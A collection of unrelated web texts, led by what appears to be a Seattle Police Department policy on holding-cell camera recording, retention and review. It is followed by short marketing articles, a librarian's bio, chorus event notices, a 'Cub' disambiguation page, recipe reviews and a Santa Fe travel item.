A. Holding Cell Camera System (HCCS): Refers to the stand alone camera recording system at each Department precinct that captures video footage of the individual holding cells, the holding cell common areas, the BAC areas, the Sally Port areas and the North Precinct's evidence storage room. The video footage is then transmitted to the HCCS Dedicated Workstation where it may be viewed in real time.
B. Holding Cell Camera System Dedicated Workstation: Refers to the dedicated desktop workstation at each precinct that is solely used for viewing live footage and recorded footage captured by and contained within the HCCS.
C. Holding Cell Camera System Log Sheet (form 19.5): Refers to the log sheet that is used to document HCCS problems and whether they were corrected. The Holding Cell Camera System Log Sheet (form 19.5) will be kept at the Dedicated Workstation and is available through the Word Templates.
D. Designated Precinct Employee: Refers to precinct employee appointed by the precinct Captain, this employee will assist with HCCS maintenance, monitor & retain the Holding Cell Camera System Log Sheet (form 19.5) and assist with coordinating repairs.
II. Retention and Preservation of HCCS Footage
A. Copying HCCS Footage
1. Any internal request for copies of HCCS footage must be made in writing and directed to the SPD Video Unit for processing and the Video Unit will retrieve and copy the footage assuming it is still accessible.
a. Internal written requests can be made via email to SPD_VIDEO.
b. Requests by external sources (outside SPD) must be made to the SPD Public Disclosure Unit or the Legal Unit.
B. HCCS Retained Footage:
1. All recorded HCCS footage will be stored and retained within each precinct's stand alone HCCS for at least thirty (30) days.
C. Preserved Footage downloaded to DVD Protocol
1. SPD reserves the right to preserve HCCS footage beyond the minimum duration stated in section II.B.
2. SPD will comply, when legally mandated, with requests for HCCS images made by internal and/or external sources so long as the request is received by SPD in a timely manner to allow for the downloading of available HCCS footage to a DVD.
D. HCCS Footage Preservation Process
1. At the time the footage is initially recorded within the HCCS, SPD employees are responsible for notifying a sergeant regarding the need to download the identified footage onto a DVD for preservation purposes and follow section II.A.1.
2. Precinct sergeants are responsible for notifying the Video Unit of the need to preserve footage via a process of downloading the footage onto a DVD in a timely manner to ensure the footage still exists. This notification can be made via email to SPD_Video.
3. If an incident may be used as a training aid or has other Department value, an officer shall advise a sergeant of the potential value. The sergeant will then determine if there is justification to preserve the footage for training or other Department purposes. If the footage is deemed to have such value, the sergeant will notify the Video Unit (SPD_Video) in a timely manner of the need to preserve the footage. The Video Unit then will schedule time to download the said footage to DVD.
4. SPD employees will not download or make copies of any recordings for personal use or any other unapproved or unofficial reason.
E. SPD reserves the right to preserve HCCS captured imagery.
III. Department Review and Viewing of HCCS
A. Employees authorized to review or view HCCS images:
1. Employees with the rank of sergeant and above have access to view live video or review recorded video.
2. Officers and detectives may request through their sergeants to view recorded video or obtain a copy of recorded video for the purpose of preparing statements or bringing the captured video to court.
B. Performance Review
1. Imagery captured by the HCCS will not be routinely or randomly reviewed to monitor officer performance. A Lieutenant or Sergeant may conduct a performance review of holding cell video imagery only when there is an articulable reason justifying such review.
2. Notice of the performance review must be provided to the subject officer and the Seattle Police Officers' Guild (SPOG), and the officer must be given the opportunity to be present with Guild representation during the review.
3. Requests for copies of recorded incidents, which will be the subject of a performance review, should be approved by the precinct/section Captain and directed to the Video Unit for processing.
C. Other Allowable Review
1. The above performance review policy is not intended to limit or restrict the Department's review of recorded imagery as part of an official Department investigation, including matters referred to OPA Investigations Section, personnel complaints, early intervention inquiries, civil claims or other administrative investigations.
IV. HCCS Technology, Maintenance and Deactivation
A. HCCS Technology
1. The HCCS will have the capability to store a minimum of thirty (30) days of recorded footage before the existing footage will be written over with new footage captured by the HCCS.
2. The HCCS is programmed for motion-activated recording.
B. HCCS Maintenance by SPD
1. The precinct Captain shall designate a precinct employee (for example the stationmaster or precinct administrative assistant) who will periodically perform a status check of the HCCS and the HCCS Dedicated Workstation to observe whether the system is functioning as intended. The Designated Precinct Employee will monitor the Holding Cell Camera System Log Sheet (form 19.5), which will be kept in a folder or on a clipboard at the HCCS Designated Workstation.
a. Training for the Designated Precinct Employee is available via the SPD Video Unit.
b. Holding Cell Camera System Log Sheet (form 19.5) is available through the Word Templates.
c. Holding Cell Camera System Log Sheet (form 19.5) that are filled to capacity will be retained by the Designated Precinct Employee for a period of three years.
2. If operational issues are identified with the HCCS and/or HCCS Dedicated Workstation, then the area experiencing the operating issue will not be used until the HCCS issue is resolved, assuming this is reasonable and does not compromise and/or violate officer safety, prisoner safety and/or SPD Manual protocols. This will be determined on a case-by-case basis.
a. The HCCS operating issue will be documented on the Holding Cell Camera System Log Sheet (form 19.5) and a lieutenant or above will be notified. A lieutenant will coordinate with the HCCS Designated Precinct Employee to contact the Video Specialist at the SPD Video Unit regarding the reported issue.
C. HCCS Deactivation and Use Exception
1. The HCCS may not be deactivated unless it meets at least one of the following criteria:
a. A HCCS system failure or Dedicated Workstation failure occurs.
b. A HCCS Dedicated Workstation operational issue exists.
c. An administrative reason exists.
d. Maintenance is scheduled for the HCCS and/or HCCS Dedicated Workstation.
2. Discretion shall be exercised during an authorized strip search and the administration of medical treatment, etc. at which time such tasks may be conducted in a manner that avoids being captured by the HCCS. NOTE: Additional responsibilities are outlined for sergeants in section VI.A.2 of this policy.
3. If deactivation or interruption occurs, a lieutenant shall be notified and the deactivation logged.
4. Deactivation of the HCCS does not prevent an officer from taking appropriate police action or using any area, and it is not intended in any way to protect any person from criminal apprehension and/or provide a basis for the exclusion of evidence.
V. Prisoner Housing and Notice
A. Housing of Prisoners
1. Sworn employees are responsible for housing in-custody individuals in areas monitored by the HCCS when reasonable.
B. Recording Notice to Prisoners
1. The areas digitally captured by the HCCS should have signage that serves as notice to prisoners that the area he or she is being held in is being video recorded.
Note: The RCW authorizes the video recording of citizens during law enforcement officer contacts. If a prisoner objects to being recorded by the HCCS a SPD employee will not deactivate or avoid the HCCS covered area unless an allowable reason for deactivation or use exception exists as covered in section IV.C.
VI. SPD Responsibilities
A. Sergeant Responsibilities
1. Sergeants and above may log into the HCCS Dedicated Workstation to view live feed or to review previously captured video in the HCCS system.
2. Sergeants will ensure adequate steps are taken to protect the privacy of people in custody who are subject to an authorized strip search or the administration of medical treatment. At which time said actions may be conducted in a manner that avoids being captured by the HCCS.
B. Lieutenants and Above
1. Lieutenants and above will ensure that:
a. Sergeants have established familiarity regarding the use of the HCCS.
b. Sergeants adhere to established policies and procedures regarding the HCCS.
c. Notification of repairs, damaged or nonfunctional HCCS equipment, to include HCCS Dedicated Workstation, is relayed to the HCCS Designated Precinct Employee in a timely manner, and
d. Officers and Sergeants are aware of the ability to identify footage that may have preservation value. Once it has been determined that there is a need to preserve footage, notify the SPD Video Unit by email.
C. System Administrator
1. SPD Video Unit is the system administrator of the HCCS. The Video Unit will be responsible for responding to and documenting all requests for viewing or copying captured images. The Video Unit will be responsible for administering HCCS retention policies.
2. The Vendor will assist each precinct with setting user rights, adding/deleting users, password control, and reporting on system utilization based upon SPD standards for each.
D. Video Unit Responsibilities
1. Video Unit personnel shall complete vendor provided HCCS training.
2. Act as HCCS Administrator.
3. Dispose of preserved footage at the end of the three-year preservation period. At the conclusion of that time period, the preserved imagery will be deleted by the Video Specialist at the SPD Video Unit unless circumstances warrant a longer retention as per SPD Legal Advisor, i.e. litigation, etc.
4. Respond to and document all requests for viewing and/or copying of HCCS footage.
a. Public Disclosure Requests (PDR's) for HCCS footage are to be submitted and processed at the SPD Records Unit window, 610 5TH Avenue. An established fee will be charged for providing copies of recordings.
5. The Video Unit will have a workstation located at the Video Unit that will enable review and copying of recorded HCCS footage.
6. The Video Unit may use its workstation for purposes of copying and disseminating footage in response to a written request for footage assuming it still exists.
E. HCCS Designated Precinct Employee Responsibilities
1. Provide periodic status check of HCCS functionality.
2. Arranging for repair of the HCCS with the vendor by coordinating with the SPD Video Unit.
3. Maintain adequate supplies for the HCCS (clipboards, log sheets, signs, etc).
4. Monitor the Holding Cell Camera System Log Sheet (form 19.5) and retain completed log sheets.
F. Information Technology Section Responsibilities
1. Maintaining HCCS Dedicated Workstations.
2. Coordinating repair of SPD provided equipment items.


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Seminole State College Regional Campus
Peggy earned her B.S. from Franklin University in Business Administration and her M.L.I.S. is from the University of South Florida. She began her library career managing a municipal bookmobile service for the Altamonte Springs City Library, and has been employed in public libraries as well as academic. She graduated from the Sunshine State Library Leadership Institute in 2011, and is presently serving as Region 3 Director for the Florida Library Association.
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2014: The next chapter in the revolution of digital |
To accurately predict what's going to happen in the year ahead is always tough. The industry's rapid evolution means our digital toes barely touch the floor. From Amazon's "delivery drone" to a visit to Microsoft Research's laboratory – a look at the future can be overwhelming, if not a little fantastical. Nonetheless, I've put together a few digital trends that I'm excited to see brands and advertisers tackle this year:
- Digitally Invisible – In a constantly connected world, people are seeking smarter ways to reduce information overload and online clutter. Consumers want technology and experiences that aren't 'always-on' but actually help people switch off.
- Valuable Data Exchange – In 2014 brands and publishers will need to make clear the benefits of engagement for the consumer, outlining up front what that value exchange looks like. As this relationship becomes more transparent, consumers will become more relaxed about offering their own data in exchange for the best experiences online.
- Stop Searching, Start Finding – The proliferation of "I need this now", wherever I am, whatever device I am using, is the evolution of search in 2014 – and being there in that particular moment is what brands need to strive for with their search strategy.
- The Future is 'Appy'– As APIs become smarter and the level of integration built into one app increases, apps will finally overtake web-based experiences as the preferred destination for reaching your audience.
- Return of The Native – Native advertising has caused controversy in 2013 and I'm sure it will continue to do so in 2014. As new formats are developed to provide useful, relevant experiences, regulators are, perhaps understandably, wary as the lines between advertising and editorial blur
For more insight, and to read more about the trends I've picked out, head over to The Drum.
Owen Sagness, GM of Microsoft Advertising & Online, UK
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Tri City Sound Chorus, a Sweet Adelines International chapter serving northern Santa Barbara County, invites women who love to sing to join them for the Christmas season. Women interested in learning about barbershop-style music are welcome to join in on the season-end rehearsals and Friends & Family Christmas Show, all held at Lutheran Church of Our Savior, 4725 S. Bradley Road (corner of Bradley and Patterson roads), Orcutt.
There is no cost to participate.
Rehearsals will be held from 6:45 p.m. to 9 p.m. Thursday Oct. 30, Nov.6, 13, 20 & Dec.4. The Christmas concert will be held at 7 p.m. on Dec.11, 2014 with donations earmarked for the student scholarship program.
For more information, check out www.tricitysound.org or call 805-736-7572.
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February 18, 2014
The Tri City Sound Chorus joins the Central Coast Chordsmen Chorus on Saturday, February 22, 2014, in conducting the Fourth Annual Youth in Harmony Festival at the First United Methodist Church, 311 South Broadway, Santa Maria.
Teen singers from Lompoc to Santa Maria volunteer to spend their Saturday learning the four-part harmony Barbershop Style of singing. At the end of the day, the singers put on a show.
This Saturday, the free performance for friends and family and the public begins at 4 pm.
Also appearing is the special guest award-winning quartet, NEW FANGLED FOUR.
For additional information, contact firstname.lastname@example.com or email@example.com.
This activity made possible in part due to a grant provided by Region 11 Young Women In Harmony (YWIH), Sweet Adelines International.
February 4, 2014
It's that time of year. HAPPY VALENTINE'S DAY! Surprise your special Valentine with a Singing Valentine presented by members of the Tri City Sound Chorus of Sweet Adelines International.
For $25, your Valentine receives a personal visit by singers who will entertain your sweetheart with two songs in four-part harmony and a gift and a personalized card.
Remember your loved ones in the hospital, at work, at school, and at home in Lompoc and Santa Maria.
Delivery date is Friday, February 14, 2014.
Reservations are available now. Call 805-736-1874.
October 17, 2013
Yes indeed...Christmas IS just around the corner in October when you're rehearsing for a Christmas Friends and Family Performance. This year our performance is in Stahnke Hall at The Lutheran Church of our Savior, 4725 South Bradley Road (corner of Bradley and Patterson Roads) in Orcutt.
Women who love to sing and who are interested in learning about barbershop-style music are welcome to join in on the Christmas Season rehearsals and to sing in our Christmas Friends and Family Performance on Thursday, December 12, 2013, at 7:00 p.m. Friends and family are invited to the performance and there is to charge to participate or to attend.
Rehearsals will be held from 6:45 p.m. to 9 p.m. on the following Thursdays:
October 31
November 7, 14, 21
December 5
For more information, call (805) 736-7572
P.S.: We use music folders so no memorizing of songs or words is required!
February 21, 2013
Dozens of folks enjoyed Singing Valentines in Santa Barbara County on Valentine's Day! Many thanks to all who sent and received...reactions ranged from crying to blushing...but be sure everyone was surprised, pleased, happy and grateful! Remember- our chorus is available to perform for special occasions. Call 805-736-7572.
February 1, 2013
Send a Valentine Surprise to the one you love. For $25.00 Chorus Members will sing two songs and give your Valentine a gift and a personalized card. Make your reservation today (or by 7:00 pm
Feb. 13.) Hurry! Reservations in Lompoc and Santa Maria are filling up fast! Call 805-736-1874
or e-mail email@example.com. Think workplace, hospitals, doctors' offices, family members, restaurants- anyplace you want to spread Valentine Cheer! ONLY 3 shopping days left!
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From Wikipedia, the free encyclopedia
Look up Cub or cub in Wiktionary, the free dictionary. |
A cub is the young of certain large predatory animals such as bears and big cats; analogous to a domestic puppy or kitten
Cub may refer to:
- Cub, a member of Cub Scouts
- Cub player, a member of certain sports teams, e.g. the Chicago Cubs baseball club
- A novice or learner, particularly in newspaper reporting
- Cub (band), an indie rock band from Vancouver, British Columbia, which formed in 1992 and disbanded in 1997
- Cub (Happy Tree Friends), a character in Happy Tree Friends
- Cub (film), a 2014 film
- Cub Foods, a division of the U.S. Supervalu company
- Piper Cub, a line of light aircraft built from the 1930s to the 1980s
- "Cub": NATO reporting name for the Antonov An-12 Russian Turboprop transport
- Honda Super Cub, a range of small motorcycles produced by Honda
- "Cashed Up Bogan", a slang term used in Australia and New Zealand
- Kapcai, a class of mini motorcycles of Malaysia and Southeast Asia - Malaysian Cub Prix
- LDV Cub, a rebadged version of the Nissan Vanette van sold by LDV Limited
- Cub Records, a record label
- Farmall Cub, a model in the Farmall tractor model line
- Cub Buck (1892–1966), professional American football player
- Carlton & United Breweries, anAustralian Alcohol Manufacturer
- A young member of the Bear (gay culture) community
See also[edit]
- Cubs (disambiguation)
- C.U. Burn, a cult Irish-language TV comedy series featuring sibling funeral directors and their rundown crematorium
- Kub (disambiguation)
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Reviewed Baked Macaroni and Cheese
Nov 28, 2012 in Food Network Community Toolbox on FoodNetwork.com
"This was the fist time I tried this Mac and Cheese and the sauce was very tasty but after baking it was very dry. Can anyone offer advise on how to keep it a bit creamy? I have to say the onions really gave it a great taste. I give it a 3 star before baking time.""
Reviewed Paula's Loaded Oatmeal Cookies
Oct 16, 2012 in Food Network Community Toolbox on FoodNetwork.com
"The best cookies I have made so far, I added two extra ingredients (coconut and currants)and called them load em up. Its a Yums recipe! Way to go Paula!""


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Why Brands Should Be Dreaming of a Cross-Screen Christmas |
When I was growing up, Christmas was all about one screen: the television set. Some of my favorite holiday memories are sitting around the TV with my family enjoying old classics like 'It's a Wonderful Life' and eating one too many Christmas cookies. Today it's a very different story. My wife and I will cook up a big meal in the kitchen, checking recipes and streaming holiday music through our tablet. Our children will be home from college sharing status updates, pictures and videos with their friends over Twitter, WhatsApp, Snapchat and Skype. After dinner we may still gather around to watch "It's a Wonderful Life" but we will be streaming it through the Netflix on our Xbox One console. This isn't some sort of futuristic panacea; it's my house – and probably your house - at Christmas. Similarly, in my younger days Christmas shopping was about one screen: the shop window. Christmas shopping meant slowly and painstakingly looking into store windows, selecting presents for each family member store by store, bag by bag, receipt by receipt, hour by hour.
Again, today it's a very different story. This year I'll do the vast majority of my Christmas shopping online sitting on my couch. And I'm not the only one. A PwC report shows across 11 markets globally over 40 per cent of shoppers used a PC, 9.5 per cent used a tablet, 8.5 per cent used a smartphone and 6.5 per cent used a social media channel to make a purchase at least once a month last year. And according to the World Bank, by the end of 2013, global smartphone penetration will have exploded from 5% of the global population in 2009, to 22%. That's an increase of nearly 1.3 billion smartphones in four years. Shopping on phones and phablets is poised to continue growing. One thing is for sure – this Christmas will be well and truly cross-screen.
It might be November, but – for retailers at least – Christmas is already upon us. Stroll through any shopping mall and I guarantee you'll see at least one store ushering in the festival season with tinsel, colorful lights, holly or ivy. Who can blame them? Christmas is big business. According to a Gallup poll, American families planned to spend a whopping $770 on gifts alonelast year. This is 'men from the boys' season in the world of retail and no brand wants to risk getting left behind.
But are brands ready for a cross-screen Christmas? The answer to that is less clear.
If, as we have established, people are using a combination of devices and platforms – smartphones, tablets, social channels, PCs, interactive TVs and games consoles – for information, entertainment, communication and, increasingly, for purchases this holiday season, then surely a simple sixty second spot won't cut it? Maybe –a sixty second spot plus an online display campaign won't cut it either.
A richer story needs to be told through multiple channels to sink in, and some of the world's biggest brands have already figured this out. In the summer, Unilever announced it would run its first multi-channel ad campaign to promote its Persil Bio Small & Mighty detergent. The campaign – entitled 'Mighty Moments' – ran across a host of different screens including games console, mobile, PC and tablet leveraging Skype, Xbox, MSN and Windows 8. It demonstrates the extent to which leading brands understand the power of leveraging multiple screens.
But we need to go even further as an industry. A study we recently conducted across United States, the United Kingdom, Saudi Arabia, Russia and China called Meet the Screens revealed that consumers have different relationships with different screens. TVs were like an 'old friend', the PC was an 'older sibling', the mobile phone a 'lover' and so on. The study showed people are using different screens at different times during the day; one for work, one for surfing, one for communicating. This represents a huge opportunity for brands to multiplytheir engagement with a target audience and feed different messages for different products across different devices at different moments in the day, achieving new heights of contextual relevance.
This explains why advertisers – and retailers are no exception – are so excited about the potential of 'sequential targeting', something we're working on with our brand partners. Here's an example. A media company, promoting their latest holiday blockbuster aimed at a female audience, tells a sequenced story that unfolds for a consumer through three sets of creative assets: the building of intrigue around the film and its characters, teasers on the plot, and motivating consumers to visit the movie theatre to see it. Our target female might see the first creative once on Outlook.com, once while conducting a Skype call and one more time while searching Bing on her phone. But after that – say when she fires up her Xbox to watch her favorite TV series – we serve her the second creative, and then the third while she's checking out the latest trends on the Glamour app, prompting her to buy movie tickets at a discount for the next showing.
That's the power of leveraging cross-screen. It's about building up a story and engaging consumers with consistent but personalised brand messages – developing intrigue, increasing information, then generating incentive – at different parts of their online journey. This story exponentially boosts interest, excitement and recall, and is perfectly attuned to the changing situation, mood and yes – you guessed it – screen that the individual is experiencing. This is an opportunity that, back in the good old days of Christmas in the Holland household, would have been a complete fantasy. Now it's reality.
This Christmas is the time for brands to ask themselves the tough questions. Am I reaching my target audience in a joined up way, across multiple channels? How can I make sure my carefully honed creative engages a consumer across all of the different screens they will be using while remaining contextually relevant? How can I connect my story across a consumer's whole online experience? The big winners will be able to hold their audiences' attention at different times, in different places and in different ways though experiences people love.
There's no denying Christmas is 'high stakes'. The success of a peak shopping season can make or break a brand. Is there a better time to start embracing cross-screen for a connected experience?
Frank Holland, Corporate Vice President, Microsoft


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America's Best Girlfriend Getaways
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Santa Fe, NM
In this town that has drawn artists and healers to the foot of the Sangre de Cristo Mountains for decades, you can head out on the artisanal chocolate trail, stopping at Kakawa Chocolate House for Mesoamerican chocolate elixirs and at ChocolateSmith, where dark chocolate is the specialty. You can get pampered at the Ten Thousands Waves Mountain Spa, inspired by traditional Japanese hot springs resorts; the communal soaking tub is women only and clothing optional. And cap off the day at Secreto with a garden-to-glass cocktail—pick a fruit, a vegetable, and a favorite liquor, and the bartender will craft you something divine.
Where to Stay: Santa Fe is full of atmospheric little hotels like the Inn on the Alameda, near the plaza and the galleries on Canyon Road. For something different, opt for a Central Asian–inspired yurt rental outside the city, available from Andaluz Rentals.